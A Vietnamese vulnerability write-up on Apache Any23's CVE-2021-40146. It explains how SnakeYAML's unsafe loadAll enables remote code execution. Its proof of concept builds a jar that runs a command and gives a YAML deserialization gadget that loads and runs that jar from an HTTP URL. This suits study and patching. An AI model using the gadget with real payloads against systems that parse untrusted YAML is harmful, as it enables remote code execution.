I. Giới thiệu về any23
Any23 (Any To Triples) là một thư viện, một dịch vụ web và một command line tool nhằm trích xuất định dạng RDF từ các tài liệu web khác nhau. Các định dạng hiện được hỗ trợ bởi any23 bao gồm
- RDF/XML, Turtle, Notation 3
- RDFa with RDFa1.1 prefix mechanism
- Microformats1 and Microformats2: hAdr, hCard, hCalendar, hEntry, hEvent, hGeo, hItem, hListing, hProduct, hProduct, hRecipie, hResume, hReview, License, Species, XFN, etc
- JSON-LD: JSON for Linking Data.
- HTML5 Microdata: (such as Schema.org)
- CSV: Comma Separated Values with separator autodetection.
- Vocabularies: Extraction support for Dublin Core Terms, Description of a Career, Description Of A Project, Friend Of A Friend, GEO Names, ICAL, lkif-core, Open Graph Protocol, BBC Programmes Ontology, RDF Review Vocabulary, schema.org, VCard, BBC Wildlife Ontology and XHTML... and more!
- YAML
Apache Any23 được viết bằng Java và được cấp phép theo Apache License v2.0
Apache Any23 có thể được sử dụng theo nhiều cách như
- Sử dụng như 1 thư viện java với dữ liệu web có cấu trúc
- Sử dụng như một command line tool để giải cấu trúc hay chuyển đổi giữa các định dạng được hỗ trợ
- Một dịch vụ API trực tuyến tại any23.org
Chi tiết về any23 có thể xem tại trang chủ của dự án tại https://any23.apache.org/index.html.
II. Các lỗ hổng mới được công bố của any23
Mới đây, mình thấy dự án này công bố 2 lỗ hổng với CVE id là CVE-2021-40146
và CVE-2021-38555
.
1. CVE-2021-40146
Description
A Remote Code Execution (RCE) vulnerability exists in the Any23 YAMLExtractor.java file and is known to affect Any23 versions < 2.5. RCE vulnerabilities allow a malicious actor to execute any code of their choice on a remote machine over LAN, WAN, or internet. RCE belongs to the broader class of arbitrary code execution (ACE) vulnerabilities.
Có thể tạm hiểu lỗ hổng này là trong file YAMLExtractor.java của các phiên bản Any23 < 2.5 có tồn tại một lỗ hổng cho phép kẻ tấn công thực thi mã từ xa. Lỗ hổng này có thể bị khai thác thông qua LAN, WAN hay thậm chí là Internet.
Nguyên nhân
Trước tiên, chúng ta cần tải mã nguồn của dự án về máy tại đây. Ở đây, mã nguồn sẽ gồm khá nhiều module tương ứng với các chúng ta sử dụng. Trong đó, file YAMLExtractor.java được đề cập sẽ nằm ở module core của dự án.
Trong này, file sử dụng thư viện snakeyaml
để load file yaml vào
Class này sẽ là một thread, trong đó, khi load yaml file, chương trình sẽ gọi tới yaml.loadAll(in)
.
@Override
public void run(ExtractionParameters extractionParameters, ExtractionContext context, InputStream in,
ExtractionResult out)
throws IOException, ExtractionException {
IRI documentIRI = context.getDocumentIRI();
documentRoot = RDFUtils.iri(documentIRI.toString() + "root");
log.debug("Processing: {}", documentIRI.toString());
out.writeNamespace(vocab.PREFIX, vocab.NS);
out.writeNamespace(RDF.PREFIX, RDF.NAMESPACE);
out.writeNamespace(RDFS.PREFIX, RDFS.NAMESPACE);
out.writeTriple(documentRoot, RDF.TYPE, vocab.root);
Iterable<Object> docIterate = yml.loadAll(in);
// Iterate over page(s)
for (Object p : docIterate) {
Resource pageNode = RDFUtils.makeIRI("document", documentIRI, true);
out.writeTriple(documentRoot, vocab.contains, pageNode);
out.writeTriple(pageNode, RDF.TYPE, vocab.document);
ElementsProcessor.ModelHolder rootNode = ep.asModel(documentIRI, p, pageNode);
if (rootNode == null) {
continue;
}
if (!rootNode.getRoot().equals(pageNode)) {
out.writeTriple(pageNode, vocab.contains, rootNode.getRoot());
}
log.debug("Subgraph root node: {}", rootNode.getRoot().stringValue());
rootNode.getModel().forEach((s) ->{
out.writeTriple(s.getSubject(), s.getPredicate(), s.getObject());
});
}
}
Đối với hàm load
hay loadAll
của snakeyaml
sẽ cho phép gọi tới các public constructor của java và từ đây có thể thực hiện RCE. Chi tiết về khai thác này có thể xem thêm tại marshalsec.
PoC
Để tiện nhất thì mình sẽ sử dụng module cli của any23 để thực hiện PoC. Đầu tiên, mình sử dụng repo yaml-payload để tạo payload mã độc.
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload
# Edit the payload before executing the last commands (see below)
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
Ở đây, payload mình để đơn giản là
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
Tiếp theo, chạy python http server để có thể get được file này
Tiếp theo, tạo một file yaml gọi tới file mà chúng ta đã tạo.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:1234/yaml-payload.jar"]
]]
]
Giờ chạy module cli lên và trigger payload
Quá trình trigger payload được gọi như sau
Tại YAMLExtractor.java, sau khi loadAll
được gọi, hàm này sẽ trả về 1 iterator
Tiếp theo, khi load theo iterator, chương trình sẽ khởi tạo một object tương ứng với iterator. Quá trình khởi tạo này sẽ gọi tới đoạn mã có trong constructor của object.
Như chúng ta thấy ở đây thì object p
sẽ chứa constructor là AwesomeScriptEngineFactory
. Trong quá trình khởi tạo object, chương trình sẽ thực thi các đoạn code trong quá trình khởi tạo constructor này. Kết quả là các đoạn mã chúng ta nhúng vào payload này đều sẽ được thực thi tại thời điểm khởi tạo object.